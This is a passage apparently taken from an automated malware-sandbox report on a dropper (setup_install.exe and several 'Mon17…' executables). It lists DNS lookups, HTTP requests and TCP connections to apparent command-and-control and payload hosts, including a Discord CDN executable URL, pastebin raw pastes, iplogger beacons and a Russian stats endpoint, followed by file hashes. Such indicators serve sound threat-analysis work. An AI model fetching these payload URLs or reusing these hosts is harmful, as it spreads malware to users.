      Set-Cookie: __cf_bm=xRAYCPg9Wxgqg9OwBA.c3dJ0pz88gROvgXvD4X_QKlg-1724323161-1.0.1.1-HiqsLwknHpBPigaDv017g72ZOtymUcO5WwoG93_6VwJSsY_9yuvi0Myr3JH4q._954_jlQe7ic0vvfMe1.SMCg; path=/; expires=Thu, 22-Aug-24 11:09:21 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RIPpc9tHVd3zF3MWVm81V%2BrapWrn19WdCSIe%2Fv5ndWVvky8fVz%2BmfGCdJsDnZw2XMr5QPbHD3KgJqlw%2BeXgY8awR83LBrDw0MY1yKJ8wtqcvjbLIQVF%2BMhME48kcTDE0ZJr85w%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=lXuSAl3cKCnWxqZcSJ8LuH9uuUph1cAS1.OZd_QtfJ4-1724323161697-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723d108d4693f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:26 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=e521FFIenWkcEZ8ebSlSUjDRsCY172KDQpWxGSPSrEo-1724323166-1.0.1.1-xD63zM7T4Odm3FcyUVNzrz2hpMphIcx.z3hkuYhZ8303b7GiUtdzYjErflPhzUMNYGAJozAuQdY_eo_XlHIrWw; path=/; expires=Thu, 22-Aug-24 11:09:26 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QHw8oYUZ8P%2BQr2xm5V78jY7jO3%2BKg0XOJSnkV2CIwlPihZxwX%2FfwDOvkfE6Wikz1e9QMUYOiFvgJ7WKKhznymQv0aWlPXcfI%2FxaUtg1nufTSZaZ1aLXM%2BIvAqZr1IDfQhDMlbg%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=sUXZ7DTtsz99i3cRAq4AfgzeodopaIpu3il5wUSO8Ak-1724323166758-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723d301c9893f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:31 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=cY.Y3.5qRadtGRwiBBGO6dqRIeEsAAWK_CNreQqftmw-1724323171-1.0.1.1-eRy4t_ZEg_Yds01l0aXN1WFd9aRvp56c5oIyAflxOs7O1qPkUpndQoWjDqErB7BiterOcB3CqOBF.yEXsqtrfg; path=/; expires=Thu, 22-Aug-24 11:09:31 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1jlKJi8kvcrLFmjt9ChSWqbK1J9Oklnsz471o24nEUu5vE2qWhrTWuOFbF0pds54kzbYHgOz0KP0GnnK3SRBK%2BOhk2pEYQj8dCe6Xb6Zzpd2zNiFyUL6oz2yxvxu51o8HYvRcw%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=iAYG1E2n_TeAiUPyRVRJIr6yggZtn.j109piTn6fybs-1724323171823-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723d4fda0693f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:36 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=YvmqipPBPQB0o5zQ3PzedPQqKUlKebYtvBtZVKoubfQ-1724323176-1.0.1.1-7W90dgn6zzbmYh9OlqoSCxBM8_GAriwssNezRCps9ZhFtARxqbjmhyP57K.U.D7tKSlom9s32UA_lPhqstquIQ; path=/; expires=Thu, 22-Aug-24 11:09:36 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wiCjWSbgCUkl0kXZ91V6Jl4upPX2BMoK234fM2c%2FZp3Ju%2F4pWePY%2BJsCVQ61%2FCNN0GcWwRT%2FfpSI5fXUlzJWF2AO79VU52LWIp2rKl2IxMn3V6pvUCJkJa7krVnYMmqeC6q6jA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=eiHuJ2sRdBSFLNMVcs.Zmuj7ILhYpguaKqm7ZvgLrYE-1724323176882-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723d6f6b1993f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:41 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=sBSVTnfjuY6QQEnc8l0ftMRasdLZYySgWMzwDvD.tsM-1724323181-1.0.1.1-eL7Y7bpNiwbj5GtALnQ6W9MTrp8aKWA0LEzkJR.It.zqmZZYPBLb9k455j52AvtCErEM76S1BKvxN9goP6N92w; path=/; expires=Thu, 22-Aug-24 11:09:41 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xO6nBtbVxxg6NNd2UXqwp8sK%2BZ16uXoujneUkI18Y2qjrE01Iti9pV%2Fvz1xj3%2FzXlOiqD9ZJOBgNnhtzK%2BqkJc9wiF%2BjMOJunP5mNUGE9NuMVgpph1sqQF56dg020bqIBv%2BMvw%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=aEY5ekJgQ64hVre2Cp_rCHtsvCpltcvIEFNxH5NbO8c-1724323181952-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723d8f181d93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      DNS
      niemannbest.me
      Mon1795d04d4bd.exe
      Remote address:
      8.8.8.8:53
      Request
      niemannbest.me
      IN A
      Response
    • flag-us
      DNS
      ggg-cl.biz
      Mon1785436ae78.exe
      Remote address:
      8.8.8.8:53
      Request
      ggg-cl.biz
      IN A
      Response
    • flag-us
      DNS
      ggg-cl.biz
      Mon1785436ae78.exe
      Remote address:
      8.8.8.8:53
      Request
      ggg-cl.biz
      IN A
      Response
    • flag-us
      DNS
      all-mobile-pa1ments.com.mx
      Mon1795d04d4bd.exe
      Remote address:
      8.8.8.8:53
      Request
      all-mobile-pa1ments.com.mx
      IN A
      Response
    • flag-us
      DNS
      buy-fantasy-football.com.sg
      Mon1795d04d4bd.exe
      Remote address:
      8.8.8.8:53
      Request
      buy-fantasy-football.com.sg
      IN A
      Response
    • flag-us
      DNS
      pastebin.com
      Mon17b5f403be4d8d6b.exe
      Remote address:
      8.8.8.8:53
      Request
      pastebin.com
      IN A
      Response
      pastebin.com
      IN A
      104.20.4.235
      pastebin.com
      IN A
      172.67.19.24
      pastebin.com
      IN A
      104.20.3.235
    • flag-us
      DNS
      pastebin.com
      Mon17b5f403be4d8d6b.exe
      Remote address:
      8.8.8.8:53
      Request
      pastebin.com
      IN A
    • flag-us
      DNS
      pastebin.com
      Mon17b5f403be4d8d6b.exe
      Remote address:
      8.8.8.8:53
      Request
      pastebin.com
      IN A
    • flag-us
      DNS
      iplogger.org
      Mon1795d04d4bd.exe
      Remote address:
      8.8.8.8:53
      Request
      iplogger.org
      IN A
      Response
      iplogger.org
      IN A
      104.26.2.46
      iplogger.org
      IN A
      104.26.3.46
      iplogger.org
      IN A
      172.67.74.161
    • flag-us
      GET
      https://iplogger.org/1a2jd7
      Mon1795d04d4bd.exe
      Remote address:
      104.26.2.46:443
      Request
      GET /1a2jd7 HTTP/1.1
      User-Agent: m1011
      Host: iplogger.org
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Thu, 22 Aug 2024 10:37:39 GMT
      Content-Type: image/png
      Transfer-Encoding: chunked
      Connection: keep-alive
      set-cookie: 301890733261992262=1; expires=Fri, 22 Aug 2025 10:37:39 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
      set-cookie: clhf03028ja=194.110.13.70; expires=Fri, 22 Aug 2025 10:37:39 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
      memory: 0.41078948974609375
      expires: Thu, 22 Aug 2024 10:37:39 +0000
      Cache-Control: no-store, no-cache, must-revalidate
      strict-transport-security: max-age=31536000
      x-frame-options: SAMEORIGIN
      CF-Cache-Status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=34meuKgMreme1AbnamFrKLU3z9J%2FpjuhbcuG1zV5bILDfAkrQgPxrmp3vTTv6I9kGi2ALg96mB686D6uFctLM9KrIdh5jYqtNhV24IFbZfdQTaf59c7OaTuiAq1nvA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8b723a908db5768f-LHR
    • flag-us
      GET
      https://iplogger.org/1a3jd7
      Mon1795d04d4bd.exe
      Remote address:
      104.26.2.46:443
      Request
      GET /1a3jd7 HTTP/1.1
      Host: iplogger.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 22 Aug 2024 10:37:40 GMT
      Content-Type: image/png
      Transfer-Encoding: chunked
      Connection: keep-alive
      set-cookie: 301890743261992262=1; expires=Fri, 22 Aug 2025 10:37:40 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
      set-cookie: clhf03028ja=194.110.13.70; expires=Fri, 22 Aug 2025 10:37:40 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
      memory: 0.41069793701171875
      expires: Thu, 22 Aug 2024 10:37:40 +0000
      Cache-Control: no-store, no-cache, must-revalidate
      strict-transport-security: max-age=31536000
      x-frame-options: SAMEORIGIN
      CF-Cache-Status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ddqti4xpbXzXk1Dps0LwAv5sVE5JacIRsSOjESG7%2FQPgrJxYWDegr4oPtbn9O%2F1shCNFGw6HnMJZCNF%2FJt1DSZIiZmLpRSbrE8lQ4EUDIcZaymofkGBR8fhiuU7e3Q%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8b723a992e4663a9-LHR
    • flag-us
      GET
      https://pastebin.com/raw/A7dSG1te
      Mon17b5f403be4d8d6b.exe
      Remote address:
      104.20.4.235:443
      Request
      GET /raw/A7dSG1te HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
      Host: pastebin.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:40 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      x-frame-options: DENY
      x-frame-options: DENY
      x-content-type-options: nosniff
      x-content-type-options: nosniff
      x-xss-protection: 1;mode=block
      x-xss-protection: 1;mode=block
      cache-control: public, max-age=1801
      CF-Cache-Status: HIT
      Age: 9
      Server: cloudflare
      CF-RAY: 8b723a97c8ba6413-LHR
    • flag-us
      DNS
      wfsdragon.ru
      Mon17b5f403be4d8d6b.exe
      Remote address:
      8.8.8.8:53
      Request
      wfsdragon.ru
      IN A
      Response
      wfsdragon.ru
      IN A
      104.21.5.208
      wfsdragon.ru
      IN A
      172.67.133.215
    • flag-us
      GET
      http://wfsdragon.ru/api/setStats.php
      Mon17b5f403be4d8d6b.exe
      Remote address:
      104.21.5.208:80
      Request
      GET /api/setStats.php HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
      Host: wfsdragon.ru
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:40 GMT
      Content-Type: text/html; charset=iso-8859-1
      Transfer-Encoding: chunked
      Connection: keep-alive
      CF-Cache-Status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sUSADOwFkAFU9PvpNMK3Du4NYhxV%2FUqEbCqWCL1xc%2FHMQaqRUmEkOqB2p0pxpgdOGx7MDKfoOPrBTC%2BMursA1uAUyI76Iv5qSwC1w4jzrtYDbAibKclbupzhd83UMnw%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8b723a98c85e7780-LHR
      alt-svc: h3=":443"; ma=86400
    • 45.133.1.107:80
      Mon17b5f403be4d8d6b.exe
      152 B
       3
    • 208.95.112.1:80
      http://ip-api.com/json/
      http
      Mon17c604381c7047e.exe
      728 B
       580 B
       5
      2

      HTTP Request

      GET http://ip-api.com/json/

      HTTP Response

      200
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 162.159.134.233:443
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      tls, http
      Mon178817e243.exe
      7.5kB
       35.5kB
       67
      38

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404

      HTTP Request

      GET https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe

      HTTP Response

      404
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 91.121.67.60:2151
      Mon17948100733a95c58.exe
      152 B
       3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      350 B
       132 B
       6
      3
    • 45.9.20.13:80
      Mon1785436ae78.exe
      152 B
       3
    • 104.26.2.46:443
      https://iplogger.org/1a2jd7
      tls, http
      Mon1795d04d4bd.exe
      723 B
       4.4kB
       8
      9

      HTTP Request

      GET https://iplogger.org/1a2jd7

      HTTP Response

      200
    • 104.26.2.46:443
      https://iplogger.org/1a3jd7
      tls, http
      Mon1795d04d4bd.exe
      723 B
       4.4kB
       8
      9

      HTTP Request

      GET https://iplogger.org/1a3jd7

      HTTP Response

      200
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 104.20.4.235:443
      https://pastebin.com/raw/A7dSG1te
      tls, http
      Mon17b5f403be4d8d6b.exe
      881 B
       6.1kB
       9
      9

      HTTP Request

      GET https://pastebin.com/raw/A7dSG1te

      HTTP Response

      404
    • 104.21.5.208:80
      http://wfsdragon.ru/api/setStats.php
      http
      Mon17b5f403be4d8d6b.exe
      534 B
       2.0kB
       7
      6

      HTTP Request

      GET http://wfsdragon.ru/api/setStats.php

      HTTP Response

      404
    • 51.178.186.149:80
      Mon17b5f403be4d8d6b.exe
      152 B
       3
    • 127.0.0.1:49283
      setup_install.exe
    • 127.0.0.1:49285
      setup_install.exe
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 91.121.67.60:2151
      Mon17948100733a95c58.exe
      152 B
       3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 45.9.20.13:80
      Mon1785436ae78.exe
      152 B
       3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       80 B
       3
      2
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 91.121.67.60:2151
      Mon17948100733a95c58.exe
      152 B
       3
    • 45.9.20.13:80
      Mon1785436ae78.exe
      152 B
       3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       80 B
       3
      2
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       80 B
       3
      2
    • 45.9.20.13:80
      Mon1785436ae78.exe
      152 B
       3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 91.121.67.60:2151
      Mon17948100733a95c58.exe
      152 B
       3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      694 B
       236 B
       11
      5
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      316 B
       172 B
       6
      4
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 45.9.20.13:80
      Mon1785436ae78.exe
      152 B
       3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       40 B
       3
      1
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 91.121.67.60:2151
      Mon17948100733a95c58.exe
      152 B
       3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       92 B
       5
      2
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       92 B
       5
      2
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 45.9.20.13:80
      Mon1785436ae78.exe
      152 B
       3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 91.121.67.60:2151
      Mon17948100733a95c58.exe
      104 B
       2
    • 45.142.215.47:27643
      Mon17eac6d534bfd22c7.exe
      270 B
       132 B
       5
      3
    • 135.181.129.119:4805
      Mon179e1058f256.exe
      152 B
       120 B
       3
      3
    • 8.8.8.8:53
      hsiens.xyz
      dns
      setup_install.exe
      56 B
       121 B
       1
      1

      DNS Request

      hsiens.xyz

    • 8.8.8.8:53
      t.gogamec.com
      dns
      Mon17742f90b916675f2.exe
      59 B
       132 B
       1
      1

      DNS Request

      t.gogamec.com

    • 8.8.8.8:53
      ip-api.com
      dns
      Mon17c604381c7047e.exe
      56 B
       72 B
       1
      1

      DNS Request

      ip-api.com

      DNS Response

      208.95.112.1

    • 8.8.8.8:53
      cdn.discordapp.com
      dns
      Mon178817e243.exe
      64 B
       144 B
       1
      1

      DNS Request

      cdn.discordapp.com

      DNS Response

      162.159.134.233
      162.159.135.233
      162.159.133.233
      162.159.130.233
      162.159.129.233

    • 8.8.8.8:53
      topniemannpickshop.cc
      dns
      Mon1795d04d4bd.exe
      67 B
       134 B
       1
      1

      DNS Request

      topniemannpickshop.cc

    • 8.8.8.8:53
      niemannbest.me
      dns
      Mon1795d04d4bd.exe
      60 B
       126 B
       1
      1

      DNS Request

      niemannbest.me

    • 8.8.8.8:53
      ggg-cl.biz
      dns
      Mon1785436ae78.exe
      112 B
       236 B
       2
      2

      DNS Request

      ggg-cl.biz

      DNS Request

      ggg-cl.biz

    • 8.8.8.8:53
      all-mobile-pa1ments.com.mx
      dns
      Mon1795d04d4bd.exe
      72 B
       131 B
       1
      1

      DNS Request

      all-mobile-pa1ments.com.mx

    • 8.8.8.8:53
      buy-fantasy-football.com.sg
      dns
      Mon1795d04d4bd.exe
      73 B
       122 B
       1
      1

      DNS Request

      buy-fantasy-football.com.sg

    • 8.8.8.8:53
      pastebin.com
      dns
      Mon17b5f403be4d8d6b.exe
      174 B
       106 B
       3
      1

      DNS Request

      pastebin.com

      DNS Request

      pastebin.com

      DNS Request

      pastebin.com

      DNS Response

      104.20.4.235
      172.67.19.24
      104.20.3.235

    • 8.8.8.8:53
      iplogger.org
      dns
      Mon1795d04d4bd.exe
      58 B
       106 B
       1
      1

      DNS Request

      iplogger.org

      DNS Response

      104.26.2.46
      104.26.3.46
      172.67.74.161

    • 8.8.8.8:53
      wfsdragon.ru
      dns
      Mon17b5f403be4d8d6b.exe
      58 B
       90 B
       1
      1

      DNS Request

      wfsdragon.ru

      DNS Response

      104.21.5.208
      172.67.133.215

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon178817e243.exe
      Filesize

      8KB

      MD5

      c213a2444632ffdf0425e0288bca48b9

      SHA1

      cd4985866907bdd1f61ac637eee7323e624d053f

      SHA256

      5565c7f24d0dad9c8b874603cd5386efd81e7ff252706ac150b20f0c2fd9add7

      SHA512

      692afbdd4c5b20924a10446a045eabae6e076b8711321a9def9a5640a5384db8e257cbb3533143c1046b77c58715c6c48d5827804c8e80c983ff16e7b9c9c395

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17948100733a95c58.exe
      Filesize

      422KB

      MD5

      b6b87e674629a0f112cb1283b0322ccb

      SHA1

      f35f95a13c24d07460d7a4c14d20d27b2e202539

      SHA256

      64bd25466e41df79bbf715e4e068829f58cab364283ab1d0baaebf957c836899

      SHA512

      d5704d375ce6578b7b4c83fe5b8778ae0d8c596ed5adb533a4ca42a1f05fdf40fc0c90d3e6e10c0ad738ee1e3f6d7264e64826401b7321fc46b4df32eac45079

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon1795d04d4bd.exe
      Filesize

      62KB

      MD5

      d082843d4e999ea9bbf4d89ee0dc1886

      SHA1

      4e2117961f8dac71dde658a457fb6a56d5a6f1aa

      SHA256

      0f3822efa9fa3fcb532a043df68175865eca68a2805b1415d0d89de69a49628b

      SHA512

      b51811d489636b6266131452f7cb0bf294d855f1baaa078894051cd19169c2b3e4496e46026c2b2b375f979619e4f8d2f939f05fc9e8fc888a836c01586db2ca

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17b5f403be4d8d6b.exe
      Filesize

      402KB

      MD5

      06ee576f9fdc477c6a91f27e56339792

      SHA1

      4302b67c8546d128f3e0ab830df53652f36f4bb0

      SHA256

      035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8

      SHA512

      e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\7zS00B98077\Mon17c604381c7047e.exe
      Filesize

      1.4MB

      MD5

